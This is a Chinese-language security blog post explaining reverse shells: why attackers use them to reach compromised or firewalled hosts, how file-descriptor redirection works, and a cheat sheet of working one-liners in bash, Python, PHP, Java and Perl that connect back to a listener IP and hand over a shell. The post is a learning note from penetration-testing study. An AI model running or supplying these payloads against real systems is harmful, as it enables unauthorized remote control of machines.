反弹shell从入门到进阶

前言

在渗透测试过程中,反弹shell是获取到权限的一种很重要的方式,一直用那些反弹shell的命令却不知道是什么意思,现在来专门学习一下原理。

什么是反弹shell

反弹shell(reverse shell),就是监控端在监控某TCP/UDP端口,被控制端使用漏洞或其他方法发起请求到该端口,并将其命令行的输入输出转到控制端。

为什么要反弹shell

当我们已经打开了被攻击机的相应端口,如22,3389等,但是有以下几种情况我们是无法直接去连接的

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.它的ip会动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

这样反弹shell的目的就很明了了,攻击指定服务器,并让其主动连接攻击者的请求,达到悄无声息地完成攻击的目的。

原理剖析

我们常见的反弹shell主要是由文件描述符和重定向符号组成,Linux一切皆文件,当Linux系统启动后,会默认打开三个文件描述符

stdin 0->/dev/tty0 标准输入
stdout 1->/dev/tty0 标准输出
strderr 2->/dev/tty0 错误输出

重定向符号

输入重定向:< <<
输出重定向:> >>

常见的反弹shell命令

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
  • bash -i 指打开一个交互式的shell
  • &> >&都表示标准输出或者标准错误输出
  • /dev/tcp/ip/port 这个文件其实可以看做是一个设备,其实去访问会发现根本不存在的
    但是如果在一方监听端口的情况下对这个文件进行读写,就能实现实时监听端口的服务器的
    socket通信的功能
  • 0<&1 和 0>&1指文件描述符的复制

其他脚本一句话shell反弹

除了netcat,还有很多其他的反弹shell的方法,也是先在自己的服务器上开启监听端口,然后在攻击机上使用脚本或利用漏洞发起连接。每种方法使用不同的语言去创建socket进程,从而形成连接。

python脚本反弹

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.41",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php脚本反弹

php -r '$sock=fsockopen("192.168.31.41",8080);exec("/bin/sh -i <&3 >&3 2>&3");'

java脚本反弹

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.31.41/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

perl脚本反弹

perl -e 'use Socket;$i="192.168.31.41";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

总结

反弹shell表面上虽然只有一点东西,但是里面也扩展出来了很多,还有很多自己不知道的。未完待续~~

参考文章

https://xz.aliyun.com/t/2548
https://xz.aliyun.com/t/2549
https://www.anquanke.com/post/id/87017
https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html

   Reprint policy


《反弹shell从入门到进阶》 by xiao is licensed under a Creative Commons Attribution 4.0 International License
 Previous
用卷积神经网络实现MINIST手写字识别 用卷积神经网络实现MINIST手写字识别
前言学习了这么久的深度学习,基本上都是在学习一些理论,那么现在就来实践一下吧,今天实践的是用卷积神经网络实现MINIST手写字识别 代码分析既然是实践,卷积神经网络的具体步骤就不在此赘述了,直接上代码 #导入MNIST数据集-创建模型-保存
2019-11-02 xiao
Next 
内网学习之路--活动目录信息收集 内网学习之路--活动目录信息收集
前言上一节讲了活动目录的基础知识,对活动目录有了大致的了解,这一节就写了在活动目录里获取有用的信息及利用的方法 活动目录中域名信息收集及利用常用命令(不全,后期再加) Net use Net view Tasklist /v Ipconfi
2019-10-14 xiao
  TOC